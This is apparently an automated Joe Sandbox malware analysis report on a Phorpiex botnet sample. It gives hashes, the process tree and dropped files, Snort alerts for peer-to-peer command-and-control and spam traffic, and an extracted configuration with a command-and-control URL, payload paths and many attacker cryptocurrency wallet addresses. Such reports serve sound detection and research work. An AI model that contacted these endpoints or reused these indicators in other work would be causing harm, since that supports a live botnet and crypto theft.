Edit tour

Windows Analysis Report
newtpp.exe

Overview

General Information

Sample Name:	newtpp.exe
Analysis ID:	1296878
MD5:	90cbeadcda0ad6d4302c36aa9fd2a53c
SHA1:	72326251a563e16eeec31d7e1f7bed9d99563246
SHA256:	d2b6791fb169c2c87d9fbc2846525dbbbecef3bf112259214b1b4da907d580ef
Tags:	CoinMinerexe
Infos:

Detection

Phorpiex

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Phorpiex

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Found evasive API chain (may stop execution after checking mutex)

Contains functionality to determine the online IP of the system

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

May check the online IP address of the machine

Contains functionality to modify clipboard data

Send many emails (e-Mail Spam)

Machine Learning detection for dropped file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Tries to resolve many domain names, but no domain seems valid

Drops executables to the windows directory (C:\Windows) and starts them

Contains functionality to detect sleep reduction / modifications

Contains functionality to check if Internet connection is working

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Connects to many different domains

Contains long sleeps (>= 3 min)

Installs a raw input device (often for capturing keystrokes)

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses SMTP (mail sending)

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Uses Microsoft's Enhanced Cryptographic Provider

May check if the current machine is a sandbox (GetTickCount - Sleep)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

newtpp.exe (PID: 7344 cmdline: C:\Users\user\Desktop\newtpp.exe MD5: 90CBEADCDA0AD6D4302C36AA9FD2A53C)

sysesvcmw.exe (PID: 7432 cmdline: C:\Windows\ sysesvcmw.exe MD5: 90CBEADCDA0AD6D4302C36AA9FD2A53C)

2569813542.exe (PID: 8016 cmdline: C:\Users\user\AppData\Local\Temp\2569813542.exe MD5: 79F68AF319FD84B95E589A5140954B7F)

22195367.exe (PID: 6440 cmdline: C:\Users\user\AppData\Local\Temp\22195367.exe MD5: 868A819B090F5AA12BFC1EA3BC8EF318)

sysesvcmw.exe (PID: 7824 cmdline: "C:\Windows\ sysesvcmw.exe" MD5: 90CBEADCDA0AD6D4302C36AA9FD2A53C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Malware Configuration

Threatname: Phorpiex

{"C2 url": "http://185.215.113.66/", "Wallet": ["1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6", "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL", "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX", "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH", "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709", "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU", "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd", "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2", "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ", "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg", "SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ", "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ", "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury", "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn", "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3", "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw", "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f", "inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym", "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj", "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH", "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v", "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn", "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6", "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7", "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd", "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr", "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4", "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw", "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4", "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE", "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N", "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
newtpp.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\ sysesvcmw.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.1390279916.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000000.1282255477.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000000.1235675253.0000000000410000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: newtpp.exe PID: 7344	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysesvcmw.exe PID: 7432	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysesvcmw.exe PID: 7824	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
2.2. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
8.0. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
2.0. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
8.2. sysesvcmw.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
0.0.newtpp.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
0.2.newtpp.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 1 entries

Snort Signatures

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 2.178.18.90

Timestamp:	192.168.2.82.178.18.9062415405002044077 08/24/23-19:04:14.556475
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 178.130.116.212

Timestamp:	192.168.2.8178.130.116.21262415405002044077 08/24/23-19:04:50.119199
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex Template 8 Active - Outbound Malicious Email Spam - Source IP: 192.168.2.8 - Destination IP: 64.29.145.48

Timestamp:	192.168.2.864.29.145.4850818252044126 08/24/23-19:04:21.415313
SID:	2044126
Source Port:	50818
Destination Port:	25
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 37.255.208.54

Timestamp:	192.168.2.837.255.208.5462415405002044077 08/24/23-19:03:29.374457
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 105.102.5.223

Timestamp:	192.168.2.8105.102.5.22362415405002044077 08/24/23-19:03:59.503476
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 82.137.244.124

Timestamp:	192.168.2.882.137.244.12462415405002044077 08/24/23-19:04:19.586296
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex Template 9 Active - Outbound Malicious Email Spam - Source IP: 192.168.2.8 - Destination IP: 64.29.145.48

Timestamp:	192.168.2.864.29.145.4850818252045229 08/24/23-19:04:21.415313
SID:	2045229
Source Port:	50818
Destination Port:	25
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 212.112.121.59

Timestamp:	192.168.2.8212.112.121.5962415405002044077 08/24/23-19:04:24.801049
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 151.235.247.191

Timestamp:	192.168.2.8151.235.247.19162415405002044077 08/24/23-19:03:54.485158
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 78.39.233.239

Timestamp:	192.168.2.878.39.233.23962415405002044077 08/24/23-19:03:08.792563
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 2.184.54.70

Timestamp:	192.168.2.82.184.54.7062415405002044077 08/24/23-19:03:13.795556
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 89.249.62.233

Timestamp:	192.168.2.889.249.62.23362415405002044077 08/24/23-19:03:24.375358
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 217.24.145.211

Timestamp:	192.168.2.8217.24.145.21162415405002044077 08/24/23-19:04:39.814823
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex Template 9 Active - Outbound Malicious Email Spam - Source IP: 192.168.2.8 - Destination IP: 142.250.150.27

Timestamp:	192.168.2.8142.250.150.2749805252045229 08/24/23-19:03:21.879724
SID:	2045229
Source Port:	49805
Destination Port:	25
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 89.249.62.7

Timestamp:	192.168.2.889.249.62.762415405002044077 08/24/23-19:03:44.483576
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex Template 8 Active - Outbound Malicious Email Spam - Source IP: 192.168.2.8 - Destination IP: 142.250.150.27

Timestamp:	192.168.2.8142.250.150.2749805252044126 08/24/23-19:03:21.879724
SID:	2044126
Source Port:	49805
Destination Port:	25
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 195.123.234.86

Timestamp:	192.168.2.8195.123.234.8662415405002044077 08/24/23-19:04:29.796969
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 77.221.29.235

Timestamp:	192.168.2.877.221.29.23562415405002044077 08/24/23-19:03:18.800397
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 2.189.227.52

Timestamp:	192.168.2.82.189.227.5262415405002044077 08/24/23-19:04:45.105655
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 185.211.130.122

Timestamp:	192.168.2.8185.211.130.12262415405002044077 08/24/23-19:03:49.484723
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 89.165.113.210

Timestamp:	192.168.2.889.165.113.21062415405002044077 08/24/23-19:04:09.532191
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 95.107.115.200

Timestamp:	192.168.2.895.107.115.20062415405002044077 08/24/23-19:03:39.414448
SID:	2044077
Source Port:	62415
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.newtpp.exe.400000.0.unpack

Malware Configuration Extractor: Phorpiex {"C2 url": "http://185.215.113.66/", "Wallet": ["1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6", "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL", "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX", "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH", "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709", "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU", "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd", "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2", "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ", "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg", "SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ", "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ", "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury", "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn", "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3", "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw", "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f", "inj1s33ycsnpnh70ltzrcwvp7ahcpfwn7x9nnptsym", "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj", "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH", "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v", "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn", "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6", "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7", "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd", "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr", "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4", "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw", "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4", "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE", "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N", "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA"]}

Multi AV Scanner detection for submitted file

Source: newtpp.exe	ReversingLabs: Detection: 86%
Source: newtpp.exe	Virustotal: Detection: 81%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: newtpp.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.66/from/83.txt	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/http://185.215.113.66/ca/n.txt	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/n.txt	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/5C	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/Tmlr235872385823705208375802803570823705720875082730857203750835728037507	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/83.txtP	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/83.txtT	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/4	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/n.txt	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/5	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1w	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/3	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/5H	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/32	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1s	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/n.txt4	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2u9o0b7n	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/7w	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/35	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/133.txt	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/5KK	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/5f	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/133.txt(N	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/n.txtd	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/133.txtnO	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1N	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/4o	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/ca/Tmlr23587238582370520837580280357082370572087508273085720375083572803750750	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/from/http://185.215.113.66/from/n.txt	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Avira: detection malicious, Label: TR/AD.Phorpiex.hjsmv
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Avira: detection malicious, Label: TR/AD.Phorpiex.hanud
Source: C:\Windows\ sysesvcmw.exe	Avira: detection malicious, Label: WORM/Phorpiex.zkvfc

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\ sysesvcmw.exe	ReversingLabs: Detection: 86%

Machine Learning detection for sample

Source: newtpp.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Joe Sandbox ML: detected
Source: C:\Windows\ sysesvcmw.exe	Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040A870 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	0_2_0040A870
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040A870 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	2_2_0040A870
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040A870 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	8_2_0040A870

Phishing

Yara detected Phorpiex

Source: Yara match	File source: newtpp.exe, type: SAMPLE
Source: Yara match	File source: 2.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.newtpp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.newtpp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1390279916.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1282255477.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1235675253.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: newtpp.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\ sysesvcmw.exe, type: DROPPED

Source: newtpp.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00404E80
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	8_2_00404FC0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 78.39.233.239:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 2.184.54.70:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 77.221.29.235:40500
Source: Traffic	Snort IDS: 2045229 ET TROJAN Win32/Phorpiex Template 9 Active - Outbound Malicious Email Spam 192.168.2.8:49805 -> 142.250.150.27:25
Source: Traffic	Snort IDS: 2044126 ET TROJAN Win32/Phorpiex Template 8 Active - Outbound Malicious Email Spam 192.168.2.8:49805 -> 142.250.150.27:25
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:62415 -> 89.249.62.233:40500
